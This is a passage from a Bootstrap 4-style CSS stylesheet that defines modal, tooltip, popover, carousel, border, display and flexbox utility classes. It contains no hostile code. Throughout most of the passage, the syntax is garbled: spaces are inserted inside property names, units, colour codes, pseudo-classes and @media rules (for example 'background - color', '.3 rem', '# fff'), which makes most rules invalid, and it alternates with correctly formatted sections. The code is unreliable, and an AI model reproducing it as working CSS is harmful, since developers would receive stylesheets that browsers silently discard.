      background-color: # c6c8ca
}

.list - group - item - dark.list - group - item - action: focus,
    .list - group - item - dark.list - group - item - action: hover {
        color: #1b1e21;
      background-color: # b9bbbe
    }

.list - group - item - dark.list - group - item - action.active {
    color: # fff;
    background - color: #1b1e21;
      border-color: # 1 b1e21
}

.close {
    float: right;
    font - size: 1.5 rem;
    font - weight: 700;
    line - height: 1;
    color: #000;
      text-shadow: 0 1px 0 # fff;
    opacity: .5
}

.close: focus,
    .close: hover {
        color: #000;
      text-decoration: none;
      opacity: .75
    }

    .close:not(:disabled):not(.disabled) {
      cursor: pointer
    }

    button.close {
      padding: 0;
      background-color: transparent;
      border: 0;
      -webkit-appearance: none
    }

    .modal-open {
      overflow: hidden
    }

    .modal {
      position: fixed;
      top: 0;
      right: 0;
      bottom: 0;
      left: 0;
      z-index: 1050;
      display: none;
      overflow: hidden;
      outline: 0
    }

    .modal-open .modal {
      overflow-x: hidden;
      overflow-y: auto
    }

    .modal-dialog {
      position: relative;
      width: auto;
      margin: .5rem;
      pointer-events: none
    }

    .modal.fade .modal-dialog {
      transition: -webkit-transform .3s ease-out;
      transition: transform .3s ease-out;
      transition: transform .3s ease-out, -webkit-transform .3s ease-out;
      -webkit-transform: translate(0, -25%);
      transform: translate(0, -25%)
    }

    .modal.show .modal-dialog {
      -webkit-transform: translate(0, 0);
      transform: translate(0, 0)
    }

    .modal-dialog-centered {
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -webkit-box-align: center;
      -ms-flex-align: center;
      align-items: center;
      min-height: calc(100% - (.5rem * 2))
    }

    .modal-content {
      position: relative;
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -webkit-box-orient: vertical;
      -webkit-box-direction: normal;
      -ms-flex-direction: column;
      flex-direction: column;
      width: 100%;
      pointer-events: auto;
      background-color: # fff;
        background - clip: padding - box;
        border: 1 px solid rgba(0, 0, 0, .2);
        border - radius: .3 rem;
        outline: 0
    }

.modal - backdrop {
    position: fixed;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    z - index: 1040;
    background - color: #000
    }

    .modal-backdrop.fade {
      opacity: 0
    }

    .modal-backdrop.show {
      opacity: .5
    }

    .modal-header {
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -webkit-box-align: start;
      -ms-flex-align: start;
      align-items: flex-start;
      -webkit-box-pack: justify;
      -ms-flex-pack: justify;
      justify-content: space-between;
      padding: 1rem;
      border-bottom: 1px solid # e9ecef;
    border - top - left - radius: .3 rem;
    border - top - right - radius: .3 rem
}

.modal - header.close {
    padding: 1 rem;
    margin: -1 rem - 1 rem - 1 rem auto
}

.modal - title {
    margin - bottom: 0;
    line - height: 1.5
}

.modal - body {
    position: relative; - webkit - box - flex: 1; - ms - flex: 1 1 auto;
    flex: 1 1 auto;
    padding: 1 rem
}

.modal - footer {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - align: center; - ms - flex - align: center;
    align - items: center; - webkit - box - pack: end; - ms - flex - pack: end;
    justify - content: flex - end;
    padding: 1 rem;
    border - top: 1 px solid # e9ecef
}

.modal - footer > : not(: first - child) {
    margin - left: .25 rem
}

.modal - footer > : not(: last - child) {
    margin - right: .25 rem
}

.modal - scrollbar - measure {
    position: absolute;
    top: -9999 px;
    width: 50 px;
    height: 50 px;
    overflow: scroll
}

@
media(min - width: 576 px) {
    .modal - dialog {
        max - width: 500 px;
        margin: 1.75 rem auto
    }

    .modal - dialog - centered {
        min - height: calc(100 % -(1.75 rem * 2))
    }

    .modal - sm {
        max - width: 300 px
    }
}

@
media(min - width: 992 px) {
    .modal - lg {
        max - width: 800 px
    }
}

.tooltip {
    position: absolute;
    z - index: 1070;
    display: block;
    margin: 0;
    font - family: -apple - system,
    BlinkMacSystemFont,
    "Segoe UI",
    Roboto,
    "Helvetica Neue",
    Arial,
    sans - serif,
    "Apple Color Emoji",
    "Segoe UI Emoji",
    "Segoe UI Symbol";
    font - style: normal;
    font - weight: 400;
    line - height: 1.5;
    text - align: left;
    text - align: start;
    text - decoration: none;
    text - shadow: none;
    text - transform: none;
    letter - spacing: normal;
    word - break: normal;
    word - spacing: normal;
    white - space: normal;
    line - break: auto;
    font - size: .875 rem;
    word - wrap: break -word;
    opacity: 0
}

.tooltip.show {
    opacity: .9
}

.tooltip.arrow {
    position: absolute;
    display: block;
    width: .8 rem;
    height: .4 rem
}

.tooltip.arrow::before {
    position: absolute;
    content: "";
    border - color: transparent;
    border - style: solid
}

.bs - tooltip - auto[x - placement ^= top],
    .bs - tooltip - top {
        padding: .4 rem 0
    }

.bs - tooltip - auto[x - placement ^= top].arrow,
    .bs - tooltip - top.arrow {
        bottom: 0
    }

.bs - tooltip - auto[x - placement ^= top].arrow::before,
    .bs - tooltip - top.arrow::before {
        top: 0;
        border - width: .4 rem.4 rem 0;
        border - top - color: #000
    }

    .bs-tooltip-auto[x-placement^= right],
    .bs - tooltip - right {
        padding: 0.4 rem
    }

.bs - tooltip - auto[x - placement ^= right].arrow,
    .bs - tooltip - right.arrow {
        left: 0;
        width: .4 rem;
        height: .8 rem
    }

.bs - tooltip - auto[x - placement ^= right].arrow::before,
    .bs - tooltip - right.arrow::before {
        right: 0;
        border - width: .4 rem.4 rem.4 rem 0;
        border - right - color: #000
    }

    .bs-tooltip-auto[x-placement^= bottom],
    .bs - tooltip - bottom {
        padding: .4 rem 0
    }

.bs - tooltip - auto[x - placement ^= bottom].arrow,
    .bs - tooltip - bottom.arrow {
        top: 0
    }

.bs - tooltip - auto[x - placement ^= bottom].arrow::before,
    .bs - tooltip - bottom.arrow::before {
        bottom: 0;
        border - width: 0.4 rem.4 rem;
        border - bottom - color: #000
    }

    .bs-tooltip-auto[x-placement^= left],
    .bs - tooltip - left {
        padding: 0.4 rem
    }

.bs - tooltip - auto[x - placement ^= left].arrow,
    .bs - tooltip - left.arrow {
        right: 0;
        width: .4 rem;
        height: .8 rem
    }

.bs - tooltip - auto[x - placement ^= left].arrow::before,
    .bs - tooltip - left.arrow::before {
        left: 0;
        border - width: .4 rem 0.4 rem.4 rem;
        border - left - color: #000
    }

    .tooltip-inner {
      max-width: 200px;
      padding: .25rem .5rem;
      color: # fff;
        text - align: center;
        background - color: #000;
      border-radius: .25rem
    }

    .popover {
      position: absolute;
      top: 0;
      left: 0;
      z-index: 1060;
      display: block;
      max-width: 276px;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
      font-style: normal;
      font-weight: 400;
      line-height: 1.5;
      text-align: left;
      text-align: start;
      text-decoration: none;
      text-shadow: none;
      text-transform: none;
      letter-spacing: normal;
      word-break: normal;
      word-spacing: normal;
      white-space: normal;
      line-break: auto;
      font-size: .875rem;
      word-wrap: break-word;
      background-color: # fff;
        background - clip: padding - box;
        border: 1 px solid rgba(0, 0, 0, .2);
        border - radius: .3 rem
    }

.popover.arrow {
    position: absolute;
    display: block;
    width: 1 rem;
    height: .5 rem;
    margin: 0.3 rem
}

.popover.arrow::after,
    .popover.arrow::before {
        position: absolute;
        display: block;
        content: "";
        border - color: transparent;
        border - style: solid
    }

.bs - popover - auto[x - placement ^= top],
    .bs - popover - top {
        margin - bottom: .5 rem
    }

.bs - popover - auto[x - placement ^= top].arrow,
    .bs - popover - top.arrow {
        bottom: calc((.5 rem + 1 px) * -1)
    }

.bs - popover - auto[x - placement ^= top].arrow::after,
    .bs - popover - auto[x - placement ^= top].arrow::before,
    .bs - popover - top.arrow::after,
    .bs - popover - top.arrow::before {
        border - width: .5 rem.5 rem 0
    }

.bs - popover - auto[x - placement ^= top].arrow::before,
    .bs - popover - top.arrow::before {
        bottom: 0;
        border - top - color: rgba(0, 0, 0, .25)
    }

.bs - popover - auto[x - placement ^= top].arrow::after,
    .bs - popover - top.arrow::after {
        bottom: 1 px;
        border - top - color: # fff
    }

.bs - popover - auto[x - placement ^= right],
    .bs - popover - right {
        margin - left: .5 rem
    }

.bs - popover - auto[x - placement ^= right].arrow,
    .bs - popover - right.arrow {
        left: calc((.5 rem + 1 px) * -1);
        width: .5 rem;
        height: 1 rem;
        margin: .3 rem 0
    }

.bs - popover - auto[x - placement ^= right].arrow::after,
    .bs - popover - auto[x - placement ^= right].arrow::before,
    .bs - popover - right.arrow::after,
    .bs - popover - right.arrow::before {
        border - width: .5 rem.5 rem.5 rem 0
    }

.bs - popover - auto[x - placement ^= right].arrow::before,
    .bs - popover - right.arrow::before {
        left: 0;
        border - right - color: rgba(0, 0, 0, .25)
    }

.bs - popover - auto[x - placement ^= right].arrow::after,
    .bs - popover - right.arrow::after {
        left: 1 px;
        border - right - color: # fff
    }

.bs - popover - auto[x - placement ^= bottom],
    .bs - popover - bottom {
        margin - top: .5 rem
    }

.bs - popover - auto[x - placement ^= bottom].arrow,
    .bs - popover - bottom.arrow {
        top: calc((.5 rem + 1 px) * -1)
    }

.bs - popover - auto[x - placement ^= bottom].arrow::after,
    .bs - popover - auto[x - placement ^= bottom].arrow::before,
    .bs - popover - bottom.arrow::after,
    .bs - popover - bottom.arrow::before {
        border - width: 0.5 rem.5 rem.5 rem
    }

.bs - popover - auto[x - placement ^= bottom].arrow::before,
    .bs - popover - bottom.arrow::before {
        top: 0;
        border - bottom - color: rgba(0, 0, 0, .25)
    }

.bs - popover - auto[x - placement ^= bottom].arrow::after,
    .bs - popover - bottom.arrow::after {
        top: 1 px;
        border - bottom - color: # fff
    }

.bs - popover - auto[x - placement ^= bottom].popover - header::before,
    .bs - popover - bottom.popover - header::before {
        position: absolute;
        top: 0;
        left: 50 % ;
        display: block;
        width: 1 rem;
        margin - left: -.5 rem;
        content: "";
        border - bottom: 1 px solid # f7f7f7
    }

.bs - popover - auto[x - placement ^= left],
    .bs - popover - left {
        margin - right: .5 rem
    }

.bs - popover - auto[x - placement ^= left].arrow,
    .bs - popover - left.arrow {
        right: calc((.5 rem + 1 px) * -1);
        width: .5 rem;
        height: 1 rem;
        margin: .3 rem 0
    }

.bs - popover - auto[x - placement ^= left].arrow::after,
    .bs - popover - auto[x - placement ^= left].arrow::before,
    .bs - popover - left.arrow::after,
    .bs - popover - left.arrow::before {
        border - width: .5 rem 0.5 rem.5 rem
    }

.bs - popover - auto[x - placement ^= left].arrow::before,
    .bs - popover - left.arrow::before {
        right: 0;
        border - left - color: rgba(0, 0, 0, .25)
    }

.bs - popover - auto[x - placement ^= left].arrow::after,
    .bs - popover - left.arrow::after {
        right: 1 px;
        border - left - color: # fff
    }

.popover - header {
    padding: .5 rem.75 rem;
    margin - bottom: 0;
    font - size: 1 rem;
    color: inherit;
    background - color: # f7f7f7;
    border - bottom: 1 px solid # ebebeb;
    border - top - left - radius: calc(.3 rem - 1 px);
    border - top - right - radius: calc(.3 rem - 1 px)
}

.popover - header: empty {
    display: none
}

.popover - body {
    padding: .5 rem.75 rem;
    color: #212529
    }

    .carousel {
      position: relative
    }

    .carousel-inner {
      position: relative;
      width: 100%;
      overflow: hidden
    }

    .carousel-item {
      position: relative;
      display: none;
      -webkit-box-align: center;
      -ms-flex-align: center;
      align-items: center;
      width: 100%;
      transition: -webkit-transform .6s ease;
      transition: transform .6s ease;
      transition: transform .6s ease, -webkit-transform .6s ease;
      -webkit-backface-visibility: hidden;
      backface-visibility: hidden;
      -webkit-perspective: 1000px;
      perspective: 1000px
    }

    .carousel-item-next,
    .carousel-item-prev,
    .carousel-item.active {
      display: block
    }

    .carousel-item-next,
    .carousel-item-prev {
      position: absolute;
      top: 0
    }

    .carousel-item-next.carousel-item-left,
    .carousel-item-prev.carousel-item-right {
      -webkit-transform: translateX(0);
      transform: translateX(0)
    }

    @supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) {

      .carousel-item-next.carousel-item-left,
      .carousel-item-prev.carousel-item-right {
        -webkit-transform: translate3d(0, 0, 0);
        transform: translate3d(0, 0, 0)
      }
    }

    .active.carousel-item-right,
    .carousel-item-next {
      -webkit-transform: translateX(100%);
      transform: translateX(100%)
    }

    @supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) {

      .active.carousel-item-right,
      .carousel-item-next {
        -webkit-transform: translate3d(100%, 0, 0);
        transform: translate3d(100%, 0, 0)
      }
    }

    .active.carousel-item-left,
    .carousel-item-prev {
      -webkit-transform: translateX(-100%);
      transform: translateX(-100%)
    }

    @supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) {

      .active.carousel-item-left,
      .carousel-item-prev {
        -webkit-transform: translate3d(-100%, 0, 0);
        transform: translate3d(-100%, 0, 0)
      }
    }

    .carousel-control-next,
    .carousel-control-prev {
      position: absolute;
      top: 0;
      bottom: 0;
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -webkit-box-align: center;
      -ms-flex-align: center;
      align-items: center;
      -webkit-box-pack: center;
      -ms-flex-pack: center;
      justify-content: center;
      width: 15%;
      color: # fff;
    text - align: center;
    opacity: .5
}

.carousel - control - next: focus,
    .carousel - control - next: hover,
    .carousel - control - prev: focus,
    .carousel - control - prev: hover {
        color: # fff;
        text - decoration: none;
        outline: 0;
        opacity: .9
    }

.carousel - control - prev {
    left: 0
}

.carousel - control - next {
    right: 0
}

.carousel - control - next - icon,
    .carousel - control - prev - icon {
        display: inline - block;
        width: 20 px;
        height: 20 px;
        background: transparent no - repeat center center;
        background - size: 100 % 100 %
    }

.carousel - control - prev - icon {
    background - image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")
}

.carousel - control - next - icon {
    background - image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")
}

.carousel - indicators {
    position: absolute;
    right: 0;
    bottom: 10 px;
    left: 0;
    z - index: 15;
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - pack: center; - ms - flex - pack: center;
    justify - content: center;
    padding - left: 0;
    margin - right: 15 % ;
    margin - left: 15 % ;
    list - style: none
}

.carousel - indicators li {
    position: relative; - webkit - box - flex: 0; - ms - flex: 0 1 auto;
    flex: 0 1 auto;
    width: 30 px;
    height: 3 px;
    margin - right: 3 px;
    margin - left: 3 px;
    text - indent: -999 px;
    background - color: rgba(255, 255, 255, .5)
}

.carousel - indicators li::before {
    position: absolute;
    top: -10 px;
    left: 0;
    display: inline - block;
    width: 100 % ;
    height: 10 px;
    content: ""
}

.carousel - indicators li::after {
    position: absolute;
    bottom: -10 px;
    left: 0;
    display: inline - block;
    width: 100 % ;
    height: 10 px;
    content: ""
}

.carousel - indicators.active {
    background - color: # fff
}

.carousel - caption {
    position: absolute;
    right: 15 % ;
    bottom: 20 px;
    left: 15 % ;
    z - index: 10;
    padding - top: 20 px;
    padding - bottom: 20 px;
    color: # fff;
    text - align: center
}

.align - baseline {
    vertical - align: baseline!important
}

.align - top {
    vertical - align: top!important
}

.align - middle {
    vertical - align: middle!important
}

.align - bottom {
    vertical - align: bottom!important
}

.align - text - bottom {
    vertical - align: text - bottom!important
}

.align - text - top {
    vertical - align: text - top!important
}

.bg - primary {
    background - color: #007bff !important
    }

    a.bg-primary:focus,
    a.bg-primary:hover,
    button.bg-primary:focus,
    button.bg-primary:hover {
      background-color: # 0062 cc!important
}

.bg - secondary {
    background - color: #6c757d !important
    }

    a.bg-secondary:focus,
    a.bg-secondary:hover,
    button.bg-secondary:focus,
    button.bg-secondary:hover {
      background-color: # 545 b62!important
}

.bg - success {
    background - color: #28a745 !important
    }

    a.bg-success:focus,
    a.bg-success:hover,
    button.bg-success:focus,
    button.bg-success:hover {
      background-color: # 1e7 e34!important
}

.bg - info {
    background - color: #17a2b8 !important
    }

    a.bg-info:focus,
    a.bg-info:hover,
    button.bg-info:focus,
    button.bg-info:hover {
      background-color: # 117 a8b!important
}

.bg - warning {
    background - color: # ffc107!important
}

a.bg - warning: focus,
    a.bg - warning: hover,
    button.bg - warning: focus,
    button.bg - warning: hover {
        background - color: # d39e00!important
    }

.bg - danger {
    background - color: # dc3545!important
}

a.bg - danger: focus,
    a.bg - danger: hover,
    button.bg - danger: focus,
    button.bg - danger: hover {
        background - color: # bd2130!important
    }

.bg - light {
    background - color: # f8f9fa!important
}

a.bg - light: focus,
    a.bg - light: hover,
    button.bg - light: focus,
    button.bg - light: hover {
        background - color: # dae0e5!important
    }

.bg - dark {
    background - color: #343a40 !important
    }

    a.bg-dark:focus,
    a.bg-dark:hover,
    button.bg-dark:focus,
    button.bg-dark:hover {
      background-color: # 1 d2124!important
}

.bg - white {
    background - color: # fff!important
}

.bg - transparent {
    background - color: transparent!important
}

.border {
    border: 1 px solid # dee2e6!important
}

.border - top {
    border - top: 1 px solid # dee2e6!important
}

.border - right {
    border - right: 1 px solid # dee2e6!important
}

.border - bottom {
    border - bottom: 1 px solid # dee2e6!important
}

.border - left {
    border - left: 1 px solid # dee2e6!important
}

.border - 0 {
    border: 0!important
}

.border - top - 0 {
    border - top: 0!important
}

.border - right - 0 {
    border - right: 0!important
}

.border - bottom - 0 {
    border - bottom: 0!important
}

.border - left - 0 {
    border - left: 0!important
}

.border - primary {
    border - color: #007bff !important
    }

    .border-secondary {
      border-color: # 6 c757d!important
}

.border - success {
    border - color: #28a745 !important
    }

    .border-info {
      border-color: # 17 a2b8!important
}

.border - warning {
    border - color: # ffc107!important
}

.border - danger {
    border - color: # dc3545!important
}

.border - light {
    border - color: # f8f9fa!important
}

.border - dark {
    border - color: #343a40 !important
    }

    .border-white {
      border-color: # fff!important
}

.rounded {
    border - radius: .25 rem!important
}

.rounded - top {
    border - top - left - radius: .25 rem!important;
    border - top - right - radius: .25 rem!important
}

.rounded - right {
    border - top - right - radius: .25 rem!important;
    border - bottom - right - radius: .25 rem!important
}

.rounded - bottom {
    border - bottom - right - radius: .25 rem!important;
    border - bottom - left - radius: .25 rem!important
}

.rounded - left {
    border - top - left - radius: .25 rem!important;
    border - bottom - left - radius: .25 rem!important
}

.rounded - circle {
    border - radius: 50 % !important
}

.rounded - 0 {
    border - radius: 0!important
}

.clearfix::after {
    display: block;
    clear: both;
    content: ""
}

.d - none {
    display: none!important
}

.d - inline {
    display: inline!important
}

.d - inline - block {
    display: inline - block!important
}

.d - block {
    display: block!important
}

.d - table {
    display: table!important
}

.d - table - row {
    display: table - row!important
}

.d - table - cell {
    display: table - cell!important
}

.d - flex {
    display: -webkit - box!important;
    display: -ms - flexbox!important;
    display: flex!important
}

.d - inline - flex {
    display: -webkit - inline - box!important;
    display: -ms - inline - flexbox!important;
    display: inline - flex!important
}

@
media(min - width: 576 px) {
    .d - sm - none {
        display: none!important
    }

    .d - sm - inline {
        display: inline!important
    }

    .d - sm - inline - block {
        display: inline - block!important
    }

    .d - sm - block {
        display: block!important
    }

    .d - sm - table {
        display: table!important
    }

    .d - sm - table - row {
        display: table - row!important
    }

    .d - sm - table - cell {
        display: table - cell!important
    }

    .d - sm - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - sm - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

@
media(min - width: 768 px) {
    .d - md - none {
        display: none!important
    }

    .d - md - inline {
        display: inline!important
    }

    .d - md - inline - block {
        display: inline - block!important
    }

    .d - md - block {
        display: block!important
    }

    .d - md - table {
        display: table!important
    }

    .d - md - table - row {
        display: table - row!important
    }

    .d - md - table - cell {
        display: table - cell!important
    }

    .d - md - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - md - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

@
media(min - width: 992 px) {
    .d - lg - none {
        display: none!important
    }

    .d - lg - inline {
        display: inline!important
    }

    .d - lg - inline - block {
        display: inline - block!important
    }

    .d - lg - block {
        display: block!important
    }

    .d - lg - table {
        display: table!important
    }

    .d - lg - table - row {
        display: table - row!important
    }

    .d - lg - table - cell {
        display: table - cell!important
    }

    .d - lg - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - lg - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

@
media(min - width: 1200 px) {
    .d - xl - none {
        display: none!important
    }

    .d - xl - inline {
        display: inline!important
    }

    .d - xl - inline - block {
        display: inline - block!important
    }

    .d - xl - block {
        display: block!important
    }

    .d - xl - table {
        display: table!important
    }

    .d - xl - table - row {
        display: table - row!important
    }

    .d - xl - table - cell {
        display: table - cell!important
    }

    .d - xl - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - xl - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

@
media print {
    .d - print - none {
        display: none!important
    }

    .d - print - inline {
        display: inline!important
    }

    .d - print - inline - block {
        display: inline - block!important
    }

    .d - print - block {
        display: block!important
    }

    .d - print - table {
        display: table!important
    }

    .d - print - table - row {
        display: table - row!important
    }

    .d - print - table - cell {
        display: table - cell!important
    }

    .d - print - flex {
        display: -webkit - box!important;
        display: -ms - flexbox!important;
        display: flex!important
    }

    .d - print - inline - flex {
        display: -webkit - inline - box!important;
        display: -ms - inline - flexbox!important;
        display: inline - flex!important
    }
}

.embed - responsive {
    position: relative;
    display: block;
    width: 100 % ;
    padding: 0;
    overflow: hidden
}

.embed - responsive::before {
    display: block;
    content: ""
}

.embed - responsive.embed - responsive - item,
    .embed - responsive embed,
    .embed - responsive iframe,
    .embed - responsive object,
    .embed - responsive video {
        position: absolute;
        top: 0;
        bottom: 0;
        left: 0;
        width: 100 % ;
        height: 100 % ;
        border: 0
    }

.embed - responsive - 21 by9::before {
    padding - top: 42.857143 %
}

.embed - responsive - 16 by9::before {
    padding - top: 56.25 %
}

.embed - responsive - 4 by3::before {
    padding - top: 75 %
}

.embed - responsive - 1 by1::before {
    padding - top: 100 %
}

.flex - row {
    -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
    flex - direction: row!important
}

.flex - column {
    -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
    flex - direction: column!important
}

.flex - row - reverse {
    -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
    flex - direction: row - reverse!important
}

.flex - column - reverse {
    -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
    flex - direction: column - reverse!important
}

.flex - wrap {
    -ms - flex - wrap: wrap!important;
    flex - wrap: wrap!important
}

.flex - nowrap {
    -ms - flex - wrap: nowrap!important;
    flex - wrap: nowrap!important
}

.flex - wrap - reverse {
    -ms - flex - wrap: wrap - reverse!important;
    flex - wrap: wrap - reverse!important
}

.justify - content - start {
    -webkit - box - pack: start!important; - ms - flex - pack: start!important;
    justify - content: flex - start!important
}

.justify - content - end {
    -webkit - box - pack: end!important; - ms - flex - pack: end!important;
    justify - content: flex - end!important
}

.justify - content - center {
    -webkit - box - pack: center!important; - ms - flex - pack: center!important;
    justify - content: center!important
}

.justify - content - between {
    -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
    justify - content: space - between!important
}

.justify - content - around {
    -ms - flex - pack: distribute!important;
    justify - content: space - around!important
}

.align - items - start {
    -webkit - box - align: start!important; - ms - flex - align: start!important;
    align - items: flex - start!important
}

.align - items - end {
    -webkit - box - align: end!important; - ms - flex - align: end!important;
    align - items: flex - end!important
}

.align - items - center {
    -webkit - box - align: center!important; - ms - flex - align: center!important;
    align - items: center!important
}

.align - items - baseline {
    -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
    align - items: baseline!important
}

.align - items - stretch {
    -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
    align - items: stretch!important
}

.align - content - start {
    -ms - flex - line - pack: start!important;
    align - content: flex - start!important
}

.align - content - end {
    -ms - flex - line - pack: end!important;
    align - content: flex - end!important
}

.align - content - center {
    -ms - flex - line - pack: center!important;
    align - content: center!important
}

.align - content - between {
    -ms - flex - line - pack: justify!important;
    align - content: space - between!important
}

.align - content - around {
    -ms - flex - line - pack: distribute!important;
    align - content: space - around!important
}

.align - content - stretch {
    -ms - flex - line - pack: stretch!important;
    align - content: stretch!important
}

.align - self - auto {
    -ms - flex - item - align: auto!important;
    align - self: auto!important
}

.align - self - start {
    -ms - flex - item - align: start!important;
    align - self: flex - start!important
}

.align - self - end {
    -ms - flex - item - align: end!important;
    align - self: flex - end!important
}

.align - self - center {
    -ms - flex - item - align: center!important;
    align - self: center!important
}

.align - self - baseline {
    -ms - flex - item - align: baseline!important;
    align - self: baseline!important
}

.align - self - stretch {
    -ms - flex - item - align: stretch!important;
    align - self: stretch!important
}

@
media(min - width: 576 px) {
    .flex - sm - row {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
        flex - direction: row!important
    }

    .flex - sm - column {
        -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
        flex - direction: column!important
    }

    .flex - sm - row - reverse {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
        flex - direction: row - reverse!important
    }

    .flex - sm - column - reverse {
        -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
        flex - direction: column - reverse!important
    }

    .flex - sm - wrap {
        -ms - flex - wrap: wrap!important;
        flex - wrap: wrap!important
    }

    .flex - sm - nowrap {
        -ms - flex - wrap: nowrap!important;
        flex - wrap: nowrap!important
    }

    .flex - sm - wrap - reverse {
        -ms - flex - wrap: wrap - reverse!important;
        flex - wrap: wrap - reverse!important
    }

    .justify - content - sm - start {
        -webkit - box - pack: start!important; - ms - flex - pack: start!important;
        justify - content: flex - start!important
    }

    .justify - content - sm - end {
        -webkit - box - pack: end!important; - ms - flex - pack: end!important;
        justify - content: flex - end!important
    }

    .justify - content - sm - center {
        -webkit - box - pack: center!important; - ms - flex - pack: center!important;
        justify - content: center!important
    }

    .justify - content - sm - between {
        -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
        justify - content: space - between!important
    }

    .justify - content - sm - around {
        -ms - flex - pack: distribute!important;
        justify - content: space - around!important
    }

    .align - items - sm - start {
        -webkit - box - align: start!important; - ms - flex - align: start!important;
        align - items: flex - start!important
    }

    .align - items - sm - end {
        -webkit - box - align: end!important; - ms - flex - align: end!important;
        align - items: flex - end!important
    }

    .align - items - sm - center {
        -webkit - box - align: center!important; - ms - flex - align: center!important;
        align - items: center!important
    }

    .align - items - sm - baseline {
        -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
        align - items: baseline!important
    }

    .align - items - sm - stretch {
        -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
        align - items: stretch!important
    }

    .align - content - sm - start {
        -ms - flex - line - pack: start!important;
        align - content: flex - start!important
    }

    .align - content - sm - end {
        -ms - flex - line - pack: end!important;
        align - content: flex - end!important
    }

    .align - content - sm - center {
        -ms - flex - line - pack: center!important;
        align - content: center!important
    }

    .align - content - sm - between {
        -ms - flex - line - pack: justify!important;
        align - content: space - between!important
    }

    .align - content - sm - around {
        -ms - flex - line - pack: distribute!important;
        align - content: space - around!important
    }

    .align - content - sm - stretch {
        -ms - flex - line - pack: stretch!important;
        align - content: stretch!important
    }

    .align - self - sm - auto {
        -ms - flex - item - align: auto!important;
        align - self: auto!important
    }

    .align - self - sm - start {
        -ms - flex - item - align: start!important;
        align - self: flex - start!important
    }

    .align - self - sm - end {
        -ms - flex - item - align: end!important;
        align - self: flex - end!important
    }

    .align - self - sm - center {
        -ms - flex - item - align: center!important;
        align - self: center!important
    }

    .align - self - sm - baseline {
        -ms - flex - item - align: baseline!important;
        align - self: baseline!important
    }

    .align - self - sm - stretch {
        -ms - flex - item - align: stretch!important;
        align - self: stretch!important
    }
}

@
media(min - width: 768 px) {
    .flex - md - row {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
        flex - direction: row!important
    }

    .flex - md - column {
        -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
        flex - direction: column!important
    }

    .flex - md - row - reverse {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
        flex - direction: row - reverse!important
    }

    .flex - md - column - reverse {
        -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
        flex - direction: column - reverse!important
    }

    .flex - md - wrap {
        -ms - flex - wrap: wrap!important;
        flex - wrap: wrap!important
    }

    .flex - md - nowrap {
        -ms - flex - wrap: nowrap!important;
        flex - wrap: nowrap!important
    }

    .flex - md - wrap - reverse {
        -ms - flex - wrap: wrap - reverse!important;
        flex - wrap: wrap - reverse!important
    }

    .justify - content - md - start {
        -webkit - box - pack: start!important; - ms - flex - pack: start!important;
        justify - content: flex - start!important
    }

    .justify - content - md - end {
        -webkit - box - pack: end!important; - ms - flex - pack: end!important;
        justify - content: flex - end!important
    }

    .justify - content - md - center {
        -webkit - box - pack: center!important; - ms - flex - pack: center!important;
        justify - content: center!important
    }

    .justify - content - md - between {
